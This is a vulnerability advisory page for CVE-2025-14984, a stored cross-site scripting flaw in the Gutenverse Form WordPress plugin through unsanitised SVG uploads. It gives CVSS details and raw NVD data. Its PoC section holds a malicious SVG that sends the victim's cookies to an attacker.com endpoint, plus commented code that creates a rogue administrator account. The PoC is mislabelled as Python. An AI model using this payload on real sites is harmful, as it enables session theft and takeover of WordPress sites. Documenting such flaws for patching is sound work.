Security Vulnerability Report
中文
CVE-2025-14984 CVSS 6.4 MEDIUM

CVE-2025-14984

Published: 2026-01-08 10:15:47
Last Modified: 2026-04-15 00:35:42

Description

The Gutenverse Form plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG file upload in all versions up to, and including, 2.3.2. This is due to the plugin's framework component adding SVG to the allowed MIME types via the upload_mimes filter without implementing any sanitization of SVG file contents. This makes it possible for authenticated attackers, with Author-level access and above, to upload SVG files containing malicious JavaScript that executes when the file is viewed, leading to arbitrary JavaScript execution in victims' browsers.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Gutenverse Form插件 <= 2.3.2(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC: Malicious SVG file for CVE-2025-14984 --> <!-- This PoC demonstrates the stored XSS vulnerability in Gutenverse Form plugin --> <!-- Upload this file through the plugin's SVG upload functionality --> <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <script type="text/javascript"> // Steal admin cookies and send to attacker-controlled endpoint var cookies = document.cookie; var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://attacker.com/collect', true); xhr.send('cookies=' + encodeURIComponent(cookies)); // Alternative: Create admin account via WordPress REST API // fetch('/wp-json/wp/v2/users', { // method: 'POST', // headers: { // 'Content-Type': 'application/json', // 'X-WP-Nonce': nonce // Requires nonce enumeration // }, // body: JSON.stringify({ // username: 'hacked_admin', // email: '[email protected]', // roles: ['administrator'] // }) // }); // Display alert for demonstration purposes console.log('XSS Payload Executed - CVE-2025-14984'); </script> <rect width="100%" height="100%" fill="#f0f0f0"/> <text x="50%" y="50%" text-anchor="middle">Malicious SVG File</text> </svg> <!-- Alternative PoC using SVG onload event handler --> <!-- <svg xmlns="http://www.w3.org/2000/svg"> <g onload="alert(document.cookie)"/> </svg> -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14984", "sourceIdentifier": "[email protected]", "published": "2026-01-08T10:15:46.833", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Gutenverse Form plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG file upload in all versions up to, and including, 2.3.2. This is due to the plugin's framework component adding SVG to the allowed MIME types via the upload_mimes filter without implementing any sanitization of SVG file contents. This makes it possible for authenticated attackers, with Author-level access and above, to upload SVG files containing malicious JavaScript that executes when the file is viewed, leading to arbitrary JavaScript execution in victims' browsers."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/gutenverse-form/tags/2.3.2/lib/framework/includes/class-init.php#L169", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/gutenverse-form/tags/2.3.2/lib/framework/includes/class-init.php#L837", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3427504/gutenverse-form/trunk/lib/framework/includes/class-init.php?old=3395520&old_path=gutenverse-form%2Ftrunk%2Flib%2Fframework%2Fincludes%2Fclass-init.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/792fa6cb-e55a-4f68-b8a8-9039fb1ff694?source=cve", "source": "[email protected]"}]}}